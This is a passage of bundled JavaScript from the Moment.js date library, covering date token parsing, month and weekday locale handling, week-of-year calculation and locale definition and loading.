matchWord = /[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i; var regexes = {}; function addRegexToken (token, regex, strictRegex) { regexes[token] = isFunction(regex) ? regex : function (isStrict, localeData) { return (isStrict && strictRegex) ? strictRegex : regex; }; } function getParseRegexForToken (token, config) { if (!hasOwnProp(regexes, token)) { return new RegExp(unescapeFormat(token)); } return regexes[token](config._strict, config._locale); } // Code from http://stackoverflow.com/questions/3561493/is-there-a-regexp-escape-function-in-javascript function unescapeFormat(s) { return regexEscape(s.replace('\\', '').replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g, function (matched, p1, p2, p3, p4) { return p1 || p2 || p3 || p4; })); } function regexEscape(s) { return s.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&'); } var tokens = {}; function addParseToken (token, callback) { var i, func = callback; if (typeof token === 'string') { token = [token]; } if (isNumber(callback)) { func = function (input, array) { array[callback] = toInt(input); }; } for (i = 0; i < token.length; i++) { tokens[token[i]] = func; } } function addWeekParseToken (token, callback) { addParseToken(token, function (input, array, config, token) { config._w = config._w || {}; callback(input, config._w, config, token); }); } function addTimeToArrayFromToken(token, input, config) { if (input != null && hasOwnProp(tokens, token)) { tokens[token](input, config._a, config, token); } } var YEAR = 0; var MONTH = 1; var DATE = 2; var HOUR = 3; var MINUTE = 4; var SECOND = 5; var MILLISECOND = 6; var WEEK = 7; var WEEKDAY = 8; // FORMATTING addFormatToken('Y', 0, 0, function () { var y = this.year(); return y <= 9999 ? '' + y : '+' + y; }); addFormatToken(0, ['YY', 2], 0, function () { return this.year() % 100; }); addFormatToken(0, ['YYYY', 4], 0, 'year'); addFormatToken(0, ['YYYYY', 5], 0, 'year'); addFormatToken(0, ['YYYYYY', 6, true], 0, 'year'); // ALIASES addUnitAlias('year', 'y'); // PRIORITIES addUnitPriority('year', 1); // PARSING addRegexToken('Y', matchSigned); addRegexToken('YY', match1to2, match2); addRegexToken('YYYY', match1to4, match4); addRegexToken('YYYYY', match1to6, match6); addRegexToken('YYYYYY', match1to6, match6); addParseToken(['YYYYY', 'YYYYYY'], YEAR); addParseToken('YYYY', function (input, array) { array[YEAR] = input.length === 2 ? hooks.parseTwoDigitYear(input) : toInt(input); }); addParseToken('YY', function (input, array) { array[YEAR] = hooks.parseTwoDigitYear(input); }); addParseToken('Y', function (input, array) { array[YEAR] = parseInt(input, 10); }); // HELPERS function daysInYear(year) { return isLeapYear(year) ? 366 : 365; } function isLeapYear(year) { return (year % 4 === 0 && year % 100 !== 0) || year % 400 === 0; } // HOOKS hooks.parseTwoDigitYear = function (input) { return toInt(input) + (toInt(input) > 68 ? 1900 : 2000); }; // MOMENTS var getSetYear = makeGetSet('FullYear', true); function getIsLeapYear () { return isLeapYear(this.year()); } function makeGetSet (unit, keepTime) { return function (value) { if (value != null) { set$1(this, unit, value); hooks.updateOffset(this, keepTime); return this; } else { return get(this, unit); } }; } function get (mom, unit) { return mom.isValid() ? mom._d['get' + (mom._isUTC ? 'UTC' : '') + unit]() : NaN; } function set$1 (mom, unit, value) { if (mom.isValid() && !isNaN(value)) { if (unit === 'FullYear' && isLeapYear(mom.year()) && mom.month() === 1 && mom.date() === 29) { mom._d['set' + (mom._isUTC ? 'UTC' : '') + unit](value, mom.month(), daysInMonth(value, mom.month())); } else { mom._d['set' + (mom._isUTC ? 'UTC' : '') + unit](value); } } } // MOMENTS function stringGet (units) { units = normalizeUnits(units); if (isFunction(this[units])) { return this[units](); } return this; } function stringSet (units, value) { if (typeof units === 'object') { units = normalizeObjectUnits(units); var prioritized = getPrioritizedUnits(units); for (var i = 0; i < prioritized.length; i++) { this[prioritized[i].unit](units[prioritized[i].unit]); } } else { units = normalizeUnits(units); if (isFunction(this[units])) { return this[units](value); } } return this; } function mod(n, x) { return ((n % x) + x) % x; } var indexOf; if (Array.prototype.indexOf) { indexOf = Array.prototype.indexOf; } else { indexOf = function (o) { // I know var i; for (i = 0; i < this.length; ++i) { if (this[i] === o) { return i; } } return -1; }; } function daysInMonth(year, month) { if (isNaN(year) || isNaN(month)) { return NaN; } var modMonth = mod(month, 12); year += (month - modMonth) / 12; return modMonth === 1 ? (isLeapYear(year) ? 29 : 28) : (31 - modMonth % 7 % 2); } // FORMATTING addFormatToken('M', ['MM', 2], 'Mo', function () { return this.month() + 1; }); addFormatToken('MMM', 0, 0, function (format) { return this.localeData().monthsShort(this, format); }); addFormatToken('MMMM', 0, 0, function (format) { return this.localeData().months(this, format); }); // ALIASES addUnitAlias('month', 'M'); // PRIORITY addUnitPriority('month', 8); // PARSING addRegexToken('M', match1to2); addRegexToken('MM', match1to2, match2); addRegexToken('MMM', function (isStrict, locale) { return locale.monthsShortRegex(isStrict); }); addRegexToken('MMMM', function (isStrict, locale) { return locale.monthsRegex(isStrict); }); addParseToken(['M', 'MM'], function (input, array) { array[MONTH] = toInt(input) - 1; }); addParseToken(['MMM', 'MMMM'], function (input, array, config, token) { var month = config._locale.monthsParse(input, token, config._strict); // if we didn't find a month name, mark the date as invalid. if (month != null) { array[MONTH] = month; } else { getParsingFlags(config).invalidMonth = input; } }); // LOCALES var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/; var defaultLocaleMonths = 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'); function localeMonths (m, format) { if (!m) { return isArray(this._months) ? this._months : this._months['standalone']; } return isArray(this._months) ? this._months[m.month()] : this._months[(this._months.isFormat || MONTHS_IN_FORMAT).test(format) ? 'format' : 'standalone'][m.month()]; } var defaultLocaleMonthsShort = 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'); function localeMonthsShort (m, format) { if (!m) { return isArray(this._monthsShort) ? this._monthsShort : this._monthsShort['standalone']; } return isArray(this._monthsShort) ? this._monthsShort[m.month()] : this._monthsShort[MONTHS_IN_FORMAT.test(format) ? 'format' : 'standalone'][m.month()]; } function handleStrictParse(monthName, format, strict) { var i, ii, mom, llc = monthName.toLocaleLowerCase(); if (!this._monthsParse) { // this is not used this._monthsParse = []; this._longMonthsParse = []; this._shortMonthsParse = []; for (i = 0; i < 12; ++i) { mom = createUTC([2000, i]); this._shortMonthsParse[i] = this.monthsShort(mom, '').toLocaleLowerCase(); this._longMonthsParse[i] = this.months(mom, '').toLocaleLowerCase(); } } if (strict) { if (format === 'MMM') { ii = indexOf.call(this._shortMonthsParse, llc); return ii !== -1 ? ii : null; } else { ii = indexOf.call(this._longMonthsParse, llc); return ii !== -1 ? ii : null; } } else { if (format === 'MMM') { ii = indexOf.call(this._shortMonthsParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._longMonthsParse, llc); return ii !== -1 ? ii : null; } else { ii = indexOf.call(this._longMonthsParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._shortMonthsParse, llc); return ii !== -1 ? ii : null; } } } function localeMonthsParse (monthName, format, strict) { var i, mom, regex; if (this._monthsParseExact) { return handleStrictParse.call(this, monthName, format, strict); } if (!this._monthsParse) { this._monthsParse = []; this._longMonthsParse = []; this._shortMonthsParse = []; } // TODO: add sorting // Sorting makes sure if one month (or abbr) is a prefix of another // see sorting in computeMonthsParse for (i = 0; i < 12; i++) { // make the regex if we don't have it already mom = createUTC([2000, i]); if (strict && !this._longMonthsParse[i]) { this._longMonthsParse[i] = new RegExp('^' + this.months(mom, '').replace('.', '') + '$', 'i'); this._shortMonthsParse[i] = new RegExp('^' + this.monthsShort(mom, '').replace('.', '') + '$', 'i'); } if (!strict && !this._monthsParse[i]) { regex = '^' + this.months(mom, '') + '|^' + this.monthsShort(mom, ''); this._monthsParse[i] = new RegExp(regex.replace('.', ''), 'i'); } // test the regex if (strict && format === 'MMMM' && this._longMonthsParse[i].test(monthName)) { return i; } else if (strict && format === 'MMM' && this._shortMonthsParse[i].test(monthName)) { return i; } else if (!strict && this._monthsParse[i].test(monthName)) { return i; } } } // MOMENTS function setMonth (mom, value) { var dayOfMonth; if (!mom.isValid()) { // No op return mom; } if (typeof value === 'string') { if (/^\d+$/.test(value)) { value = toInt(value); } else { value = mom.localeData().monthsParse(value); // TODO: Another silent failure? if (!isNumber(value)) { return mom; } } } dayOfMonth = Math.min(mom.date(), daysInMonth(mom.year(), value)); mom._d['set' + (mom._isUTC ? 'UTC' : '') + 'Month'](value, dayOfMonth); return mom; } function getSetMonth (value) { if (value != null) { setMonth(this, value); hooks.updateOffset(this, true); return this; } else { return get(this, 'Month'); } } function getDaysInMonth () { return daysInMonth(this.year(), this.month()); } var defaultMonthsShortRegex = matchWord; function monthsShortRegex (isStrict) { if (this._monthsParseExact) { if (!hasOwnProp(this, '_monthsRegex')) { computeMonthsParse.call(this); } if (isStrict) { return this._monthsShortStrictRegex; } else { return this._monthsShortRegex; } } else { if (!hasOwnProp(this, '_monthsShortRegex')) { this._monthsShortRegex = defaultMonthsShortRegex; } return this._monthsShortStrictRegex && isStrict ? this._monthsShortStrictRegex : this._monthsShortRegex; } } var defaultMonthsRegex = matchWord; function monthsRegex (isStrict) { if (this._monthsParseExact) { if (!hasOwnProp(this, '_monthsRegex')) { computeMonthsParse.call(this); } if (isStrict) { return this._monthsStrictRegex; } else { return this._monthsRegex; } } else { if (!hasOwnProp(this, '_monthsRegex')) { this._monthsRegex = defaultMonthsRegex; } return this._monthsStrictRegex && isStrict ? this._monthsStrictRegex : this._monthsRegex; } } function computeMonthsParse () { function cmpLenRev(a, b) { return b.length - a.length; } var shortPieces = [], longPieces = [], mixedPieces = [], i, mom; for (i = 0; i < 12; i++) { // make the regex if we don't have it already mom = createUTC([2000, i]); shortPieces.push(this.monthsShort(mom, '')); longPieces.push(this.months(mom, '')); mixedPieces.push(this.months(mom, '')); mixedPieces.push(this.monthsShort(mom, '')); } // Sorting makes sure if one month (or abbr) is a prefix of another it // will match the longer piece. shortPieces.sort(cmpLenRev); longPieces.sort(cmpLenRev); mixedPieces.sort(cmpLenRev); for (i = 0; i < 12; i++) { shortPieces[i] = regexEscape(shortPieces[i]); longPieces[i] = regexEscape(longPieces[i]); } for (i = 0; i < 24; i++) { mixedPieces[i] = regexEscape(mixedPieces[i]); } this._monthsRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i'); this._monthsShortRegex = this._monthsRegex; this._monthsStrictRegex = new RegExp('^(' + longPieces.join('|') + ')', 'i'); this._monthsShortStrictRegex = new RegExp('^(' + shortPieces.join('|') + ')', 'i'); } function createDate (y, m, d, h, M, s, ms) { // can't just apply() to create a date: // https://stackoverflow.com/q/181348 var date = new Date(y, m, d, h, M, s, ms); // the date constructor remaps years 0-99 to 1900-1999 if (y < 100 && y >= 0 && isFinite(date.getFullYear())) { date.setFullYear(y); } return date; } function createUTCDate (y) { var date = new Date(Date.UTC.apply(null, arguments)); // the Date.UTC function remaps years 0-99 to 1900-1999 if (y < 100 && y >= 0 && isFinite(date.getUTCFullYear())) { date.setUTCFullYear(y); } return date; } // start-of-first-week - start-of-year function firstWeekOffset(year, dow, doy) { var // first-week day -- which january is always in the first week (4 for iso, 1 for other) fwd = 7 + dow - doy, // first-week day local weekday -- which local weekday is fwd fwdlw = (7 + createUTCDate(year, 0, fwd).getUTCDay() - dow) % 7; return -fwdlw + fwd - 1; } // https://en.wikipedia.org/wiki/ISO_week_date#Calculating_a_date_given_the_year.2C_week_number_and_weekday function dayOfYearFromWeeks(year, week, weekday, dow, doy) { var localWeekday = (7 + weekday - dow) % 7, weekOffset = firstWeekOffset(year, dow, doy), dayOfYear = 1 + 7 * (week - 1) + localWeekday + weekOffset, resYear, resDayOfYear; if (dayOfYear <= 0) { resYear = year - 1; resDayOfYear = daysInYear(resYear) + dayOfYear; } else if (dayOfYear > daysInYear(year)) { resYear = year + 1; resDayOfYear = dayOfYear - daysInYear(year); } else { resYear = year; resDayOfYear = dayOfYear; } return { year: resYear, dayOfYear: resDayOfYear }; } function weekOfYear(mom, dow, doy) { var weekOffset = firstWeekOffset(mom.year(), dow, doy), week = Math.floor((mom.dayOfYear() - weekOffset - 1) / 7) + 1, resWeek, resYear; if (week < 1) { resYear = mom.year() - 1; resWeek = week + weeksInYear(resYear, dow, doy); } else if (week > weeksInYear(mom.year(), dow, doy)) { resWeek = week - weeksInYear(mom.year(), dow, doy); resYear = mom.year() + 1; } else { resYear = mom.year(); resWeek = week; } return { week: resWeek, year: resYear }; } function weeksInYear(year, dow, doy) { var weekOffset = firstWeekOffset(year, dow, doy), weekOffsetNext = firstWeekOffset(year + 1, dow, doy); return (daysInYear(year) - weekOffset + weekOffsetNext) / 7; } // FORMATTING addFormatToken('w', ['ww', 2], 'wo', 'week'); addFormatToken('W', ['WW', 2], 'Wo', 'isoWeek'); // ALIASES addUnitAlias('week', 'w'); addUnitAlias('isoWeek', 'W'); // PRIORITIES addUnitPriority('week', 5); addUnitPriority('isoWeek', 5); // PARSING addRegexToken('w', match1to2); addRegexToken('ww', match1to2, match2); addRegexToken('W', match1to2); addRegexToken('WW', match1to2, match2); addWeekParseToken(['w', 'ww', 'W', 'WW'], function (input, week, config, token) { week[token.substr(0, 1)] = toInt(input); }); // HELPERS // LOCALES function localeWeek (mom) { return weekOfYear(mom, this._week.dow, this._week.doy).week; } var defaultLocaleWeek = { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 1st is the first week of the year. }; function localeFirstDayOfWeek () { return this._week.dow; } function localeFirstDayOfYear () { return this._week.doy; } // MOMENTS function getSetWeek (input) { var week = this.localeData().week(this); return input == null ? week : this.add((input - week) * 7, 'd'); } function getSetISOWeek (input) { var week = weekOfYear(this, 1, 4).week; return input == null ? week : this.add((input - week) * 7, 'd'); } // FORMATTING addFormatToken('d', 0, 'do', 'day'); addFormatToken('dd', 0, 0, function (format) { return this.localeData().weekdaysMin(this, format); }); addFormatToken('ddd', 0, 0, function (format) { return this.localeData().weekdaysShort(this, format); }); addFormatToken('dddd', 0, 0, function (format) { return this.localeData().weekdays(this, format); }); addFormatToken('e', 0, 0, 'weekday'); addFormatToken('E', 0, 0, 'isoWeekday'); // ALIASES addUnitAlias('day', 'd'); addUnitAlias('weekday', 'e'); addUnitAlias('isoWeekday', 'E'); // PRIORITY addUnitPriority('day', 11); addUnitPriority('weekday', 11); addUnitPriority('isoWeekday', 11); // PARSING addRegexToken('d', match1to2); addRegexToken('e', match1to2); addRegexToken('E', match1to2); addRegexToken('dd', function (isStrict, locale) { return locale.weekdaysMinRegex(isStrict); }); addRegexToken('ddd', function (isStrict, locale) { return locale.weekdaysShortRegex(isStrict); }); addRegexToken('dddd', function (isStrict, locale) { return locale.weekdaysRegex(isStrict); }); addWeekParseToken(['dd', 'ddd', 'dddd'], function (input, week, config, token) { var weekday = config._locale.weekdaysParse(input, token, config._strict); // if we didn't get a weekday name, mark the date as invalid if (weekday != null) { week.d = weekday; } else { getParsingFlags(config).invalidWeekday = input; } }); addWeekParseToken(['d', 'e', 'E'], function (input, week, config, token) { week[token] = toInt(input); }); // HELPERS function parseWeekday(input, locale) { if (typeof input !== 'string') { return input; } if (!isNaN(input)) { return parseInt(input, 10); } input = locale.weekdaysParse(input); if (typeof input === 'number') { return input; } return null; } function parseIsoWeekday(input, locale) { if (typeof input === 'string') { return locale.weekdaysParse(input) % 7 || 7; } return isNaN(input) ? null : input; } // LOCALES var defaultLocaleWeekdays = 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'); function localeWeekdays (m, format) { if (!m) { return isArray(this._weekdays) ? this._weekdays : this._weekdays['standalone']; } return isArray(this._weekdays) ? this._weekdays[m.day()] : this._weekdays[this._weekdays.isFormat.test(format) ? 'format' : 'standalone'][m.day()]; } var defaultLocaleWeekdaysShort = 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'); function localeWeekdaysShort (m) { return (m) ? this._weekdaysShort[m.day()] : this._weekdaysShort; } var defaultLocaleWeekdaysMin = 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'); function localeWeekdaysMin (m) { return (m) ? this._weekdaysMin[m.day()] : this._weekdaysMin; } function handleStrictParse$1(weekdayName, format, strict) { var i, ii, mom, llc = weekdayName.toLocaleLowerCase(); if (!this._weekdaysParse) { this._weekdaysParse = []; this._shortWeekdaysParse = []; this._minWeekdaysParse = []; for (i = 0; i < 7; ++i) { mom = createUTC([2000, 1]).day(i); this._minWeekdaysParse[i] = this.weekdaysMin(mom, '').toLocaleLowerCase(); this._shortWeekdaysParse[i] = this.weekdaysShort(mom, '').toLocaleLowerCase(); this._weekdaysParse[i] = this.weekdays(mom, '').toLocaleLowerCase(); } } if (strict) { if (format === 'dddd') { ii = indexOf.call(this._weekdaysParse, llc); return ii !== -1 ? ii : null; } else if (format === 'ddd') { ii = indexOf.call(this._shortWeekdaysParse, llc); return ii !== -1 ? ii : null; } else { ii = indexOf.call(this._minWeekdaysParse, llc); return ii !== -1 ? ii : null; } } else { if (format === 'dddd') { ii = indexOf.call(this._weekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._shortWeekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._minWeekdaysParse, llc); return ii !== -1 ? ii : null; } else if (format === 'ddd') { ii = indexOf.call(this._shortWeekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._weekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._minWeekdaysParse, llc); return ii !== -1 ? ii : null; } else { ii = indexOf.call(this._minWeekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._weekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._shortWeekdaysParse, llc); return ii !== -1 ? ii : null; } } } function localeWeekdaysParse (weekdayName, format, strict) { var i, mom, regex; if (this._weekdaysParseExact) { return handleStrictParse$1.call(this, weekdayName, format, strict); } if (!this._weekdaysParse) { this._weekdaysParse = []; this._minWeekdaysParse = []; this._shortWeekdaysParse = []; this._fullWeekdaysParse = []; } for (i = 0; i < 7; i++) { // make the regex if we don't have it already mom = createUTC([2000, 1]).day(i); if (strict && !this._fullWeekdaysParse[i]) { this._fullWeekdaysParse[i] = new RegExp('^' + this.weekdays(mom, '').replace('.', '\.?') + '$', 'i'); this._shortWeekdaysParse[i] = new RegExp('^' + this.weekdaysShort(mom, '').replace('.', '\.?') + '$', 'i'); this._minWeekdaysParse[i] = new RegExp('^' + this.weekdaysMin(mom, '').replace('.', '\.?') + '$', 'i'); } if (!this._weekdaysParse[i]) { regex = '^' + this.weekdays(mom, '') + '|^' + this.weekdaysShort(mom, '') + '|^' + this.weekdaysMin(mom, ''); this._weekdaysParse[i] = new RegExp(regex.replace('.', ''), 'i'); } // test the regex if (strict && format === 'dddd' && this._fullWeekdaysParse[i].test(weekdayName)) { return i; } else if (strict && format === 'ddd' && this._shortWeekdaysParse[i].test(weekdayName)) { return i; } else if (strict && format === 'dd' && this._minWeekdaysParse[i].test(weekdayName)) { return i; } else if (!strict && this._weekdaysParse[i].test(weekdayName)) { return i; } } } // MOMENTS function getSetDayOfWeek (input) { if (!this.isValid()) { return input != null ? this : NaN; } var day = this._isUTC ? this._d.getUTCDay() : this._d.getDay(); if (input != null) { input = parseWeekday(input, this.localeData()); return this.add(input - day, 'd'); } else { return day; } } function getSetLocaleDayOfWeek (input) { if (!this.isValid()) { return input != null ? this : NaN; } var weekday = (this.day() + 7 - this.localeData()._week.dow) % 7; return input == null ? weekday : this.add(input - weekday, 'd'); } function getSetISODayOfWeek (input) { if (!this.isValid()) { return input != null ? this : NaN; } // behaves the same as moment#day except // as a getter, returns 7 instead of 0 (1-7 range instead of 0-6) // as a setter, sunday should belong to the previous week. if (input != null) { var weekday = parseIsoWeekday(input, this.localeData()); return this.day(this.day() % 7 ? weekday : weekday - 7); } else { return this.day() || 7; } } var defaultWeekdaysRegex = matchWord; function weekdaysRegex (isStrict) { if (this._weekdaysParseExact) { if (!hasOwnProp(this, '_weekdaysRegex')) { computeWeekdaysParse.call(this); } if (isStrict) { return this._weekdaysStrictRegex; } else { return this._weekdaysRegex; } } else { if (!hasOwnProp(this, '_weekdaysRegex')) { this._weekdaysRegex = defaultWeekdaysRegex; } return this._weekdaysStrictRegex && isStrict ? this._weekdaysStrictRegex : this._weekdaysRegex; } } var defaultWeekdaysShortRegex = matchWord; function weekdaysShortRegex (isStrict) { if (this._weekdaysParseExact) { if (!hasOwnProp(this, '_weekdaysRegex')) { computeWeekdaysParse.call(this); } if (isStrict) { return this._weekdaysShortStrictRegex; } else { return this._weekdaysShortRegex; } } else { if (!hasOwnProp(this, '_weekdaysShortRegex')) { this._weekdaysShortRegex = defaultWeekdaysShortRegex; } return this._weekdaysShortStrictRegex && isStrict ? this._weekdaysShortStrictRegex : this._weekdaysShortRegex; } } var defaultWeekdaysMinRegex = matchWord; function weekdaysMinRegex (isStrict) { if (this._weekdaysParseExact) { if (!hasOwnProp(this, '_weekdaysRegex')) { computeWeekdaysParse.call(this); } if (isStrict) { return this._weekdaysMinStrictRegex; } else { return this._weekdaysMinRegex; } } else { if (!hasOwnProp(this, '_weekdaysMinRegex')) { this._weekdaysMinRegex = defaultWeekdaysMinRegex; } return this._weekdaysMinStrictRegex && isStrict ? this._weekdaysMinStrictRegex : this._weekdaysMinRegex; } } function computeWeekdaysParse () { function cmpLenRev(a, b) { return b.length - a.length; } var minPieces = [], shortPieces = [], longPieces = [], mixedPieces = [], i, mom, minp, shortp, longp; for (i = 0; i < 7; i++) { // make the regex if we don't have it already mom = createUTC([2000, 1]).day(i); minp = this.weekdaysMin(mom, ''); shortp = this.weekdaysShort(mom, ''); longp = this.weekdays(mom, ''); minPieces.push(minp); shortPieces.push(shortp); longPieces.push(longp); mixedPieces.push(minp); mixedPieces.push(shortp); mixedPieces.push(longp); } // Sorting makes sure if one weekday (or abbr) is a prefix of another it // will match the longer piece. minPieces.sort(cmpLenRev); shortPieces.sort(cmpLenRev); longPieces.sort(cmpLenRev); mixedPieces.sort(cmpLenRev); for (i = 0; i < 7; i++) { shortPieces[i] = regexEscape(shortPieces[i]); longPieces[i] = regexEscape(longPieces[i]); mixedPieces[i] = regexEscape(mixedPieces[i]); } this._weekdaysRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i'); this._weekdaysShortRegex = this._weekdaysRegex; this._weekdaysMinRegex = this._weekdaysRegex; this._weekdaysStrictRegex = new RegExp('^(' + longPieces.join('|') + ')', 'i'); this._weekdaysShortStrictRegex = new RegExp('^(' + shortPieces.join('|') + ')', 'i'); this._weekdaysMinStrictRegex = new RegExp('^(' + minPieces.join('|') + ')', 'i'); } // FORMATTING function hFormat() { return this.hours() % 12 || 12; } function kFormat() { return this.hours() || 24; } addFormatToken('H', ['HH', 2], 0, 'hour'); addFormatToken('h', ['hh', 2], 0, hFormat); addFormatToken('k', ['kk', 2], 0, kFormat); addFormatToken('hmm', 0, 0, function () { return '' + hFormat.apply(this) + zeroFill(this.minutes(), 2); }); addFormatToken('hmmss', 0, 0, function () { return '' + hFormat.apply(this) + zeroFill(this.minutes(), 2) + zeroFill(this.seconds(), 2); }); addFormatToken('Hmm', 0, 0, function () { return '' + this.hours() + zeroFill(this.minutes(), 2); }); addFormatToken('Hmmss', 0, 0, function () { return '' + this.hours() + zeroFill(this.minutes(), 2) + zeroFill(this.seconds(), 2); }); function meridiem (token, lowercase) { addFormatToken(token, 0, 0, function () { return this.localeData().meridiem(this.hours(), this.minutes(), lowercase); }); } meridiem('a', true); meridiem('A', false); // ALIASES addUnitAlias('hour', 'h'); // PRIORITY addUnitPriority('hour', 13); // PARSING function matchMeridiem (isStrict, locale) { return locale._meridiemParse; } addRegexToken('a', matchMeridiem); addRegexToken('A', matchMeridiem); addRegexToken('H', match1to2); addRegexToken('h', match1to2); addRegexToken('k', match1to2); addRegexToken('HH', match1to2, match2); addRegexToken('hh', match1to2, match2); addRegexToken('kk', match1to2, match2); addRegexToken('hmm', match3to4); addRegexToken('hmmss', match5to6); addRegexToken('Hmm', match3to4); addRegexToken('Hmmss', match5to6); addParseToken(['H', 'HH'], HOUR); addParseToken(['k', 'kk'], function (input, array, config) { var kInput = toInt(input); array[HOUR] = kInput === 24 ? 0 : kInput; }); addParseToken(['a', 'A'], function (input, array, config) { config._isPm = config._locale.isPM(input); config._meridiem = input; }); addParseToken(['h', 'hh'], function (input, array, config) { array[HOUR] = toInt(input); getParsingFlags(config).bigHour = true; }); addParseToken('hmm', function (input, array, config) { var pos = input.length - 2; array[HOUR] = toInt(input.substr(0, pos)); array[MINUTE] = toInt(input.substr(pos)); getParsingFlags(config).bigHour = true; }); addParseToken('hmmss', function (input, array, config) { var pos1 = input.length - 4; var pos2 = input.length - 2; array[HOUR] = toInt(input.substr(0, pos1)); array[MINUTE] = toInt(input.substr(pos1, 2)); array[SECOND] = toInt(input.substr(pos2)); getParsingFlags(config).bigHour = true; }); addParseToken('Hmm', function (input, array, config) { var pos = input.length - 2; array[HOUR] = toInt(input.substr(0, pos)); array[MINUTE] = toInt(input.substr(pos)); }); addParseToken('Hmmss', function (input, array, config) { var pos1 = input.length - 4; var pos2 = input.length - 2; array[HOUR] = toInt(input.substr(0, pos1)); array[MINUTE] = toInt(input.substr(pos1, 2)); array[SECOND] = toInt(input.substr(pos2)); }); // LOCALES function localeIsPM (input) { // IE8 Quirks Mode & IE7 Standards Mode do not allow accessing strings like arrays // Using charAt should be more compatible. return ((input + '').toLowerCase().charAt(0) === 'p'); } var defaultLocaleMeridiemParse = /[ap]\.?m?\.?/i; function localeMeridiem (hours, minutes, isLower) { if (hours > 11) { return isLower ? 'pm' : 'PM'; } else { return isLower ? 'am' : 'AM'; } } // MOMENTS // Setting the hour should keep the time, because the user explicitly // specified which hour he wants. So trying to maintain the same hour (in // a new timezone) makes sense. Adding/subtracting hours does not follow // this rule. var getSetHour = makeGetSet('Hours', true); // months // week // weekdays // meridiem var baseConfig = { calendar: defaultCalendar, longDateFormat: defaultLongDateFormat, invalidDate: defaultInvalidDate, ordinal: defaultOrdinal, dayOfMonthOrdinalParse: defaultDayOfMonthOrdinalParse, relativeTime: defaultRelativeTime, months: defaultLocaleMonths, monthsShort: defaultLocaleMonthsShort, week: defaultLocaleWeek, weekdays: defaultLocaleWeekdays, weekdaysMin: defaultLocaleWeekdaysMin, weekdaysShort: defaultLocaleWeekdaysShort, meridiemParse: defaultLocaleMeridiemParse }; // internal storage for locale config files var locales = {}; var localeFamilies = {}; var globalLocale; function normalizeLocale(key) { return key ? key.toLowerCase().replace('_', '-') : key; } // pick the locale from the array // try ['en-au', 'en-gb'] as 'en-au', 'en-gb', 'en', as in move through the list trying each // substring from most specific to least, but move to the next array item if it's a more specific variant than the current root function chooseLocale(names) { var i = 0, j, next, locale, split; while (i < names.length) { split = normalizeLocale(names[i]).split('-'); j = split.length; next = normalizeLocale(names[i + 1]); next = next ? next.split('-') : null; while (j > 0) { locale = loadLocale(split.slice(0, j).join('-')); if (locale) { return locale; } if (next && next.length >= j && compareArrays(split, next, true) >= j - 1) { //the next array item is better than a shallower substring of this one break; } j--; } i++; } return null; } function loadLocale(name) { var oldLocale = null; // TODO: Find a better way to register and load all the locales in Node if (!locales[name] && (typeof module !== 'undefined') && module && module.exports) { try { oldLocale = globalLocale._abbr; var aliasedRequire = require; __webpack_require__(606)("./" + name); getSetGlobalLocale(oldLocale); } catch (e) {} } return locales[name]; } // This function will load locale and then set the global locale. If // no arguments are passed in, it will simply return the current global // locale key. function getSetGlobalLocale (key, values) { var data; if (key) { if (isUndefined(values)) { data = getLocale(key); } else { data = defineLocale(key, values); } if (data) { // moment.duration._locale = moment._locale = data; globalLocale = data; } } return globalLocale._abbr; } function defineLocale (name, config) { if (config !== null) { var parentConfig = baseConfig; config.abbr = name; if (locales[name] != null) { deprecateSimple('defineLocaleOverride', 'use moment.updateLocale(localeName, config) to change ' + 'an existing locale. moment.defineLocale(localeName, ' + 'config) should only be used for creating a new locale ' + 'See http://momentjs.com/guides/#/warnings/define-locale/ for more info.'); parentConfig = locales[name]._config; } else if (config.parentLocale != null) { if (locales[config.parentLocale] != null) { parentConfig = locales[config.parentLocale]._config; } else { if (!localeFamilies[config.parentLocale]) { localeFamilies[config.parentLocale] = []; } localeFamilies[config.parentLocale].push({ name: name, config: config }); return null; } } locales[name] = new Locale(mergeConfigs(parentConfig, config)); if (localeFamilies[name]) { localeFamilies[name].forEach(function (x) { defineLocale(x.name, x.config); }); } // backwards compat for now: also set the locale // make sure we set the locale AFTER all child locales have been // created, so we won't end up with the child locale set. getSetGlobalLocale(name); return locales[name]; } else { // useful for testing delete locales[name]; return null; } } function updateLocale(name, config) { if (config != null) { var locale, tmpLocale, parentConfig = baseConfig; // MERGE tmpLocale = loadLocale(name); if (tmpLocale != null) { parentConfig = tmpLocale._config; } config = mergeConfigs(parentConfig, config); locale = new Locale(config); locale.parentLocale = locales[name]; locales[name] = locale; // backwards compat for now: also set the locale getSetGlobalLocale(name); } else { // pass null for config to unupdate, useful for tests if (locales[name] != null) { if (locales[name].parentLocale != null) { locales[name] = locales[name].parentLocale; } else if (locales[name] != null) { delete locales[name]; } } } return locales[name]; } // returns locale data function getLocale (key) { var locale; if (key && key._locale && key._locale._abbr) { key = key._locale._abbr; } if (!key) { return globalLocale; } if (!isArray(key)) { //short-circuit everything else locale = loadLocale(key); if (locale) { return locale; } key = [key]; } return chooseLocale(key); } function listLocales() { return keys(locales); } function checkOverflow (m) { var overflow; var a = m._a; if (a && getParsingFlags(m).overflow === -2) { overflow = a[MONTH] < 0 || a[MONTH] > 11 ? MONTH : a[DATE] < 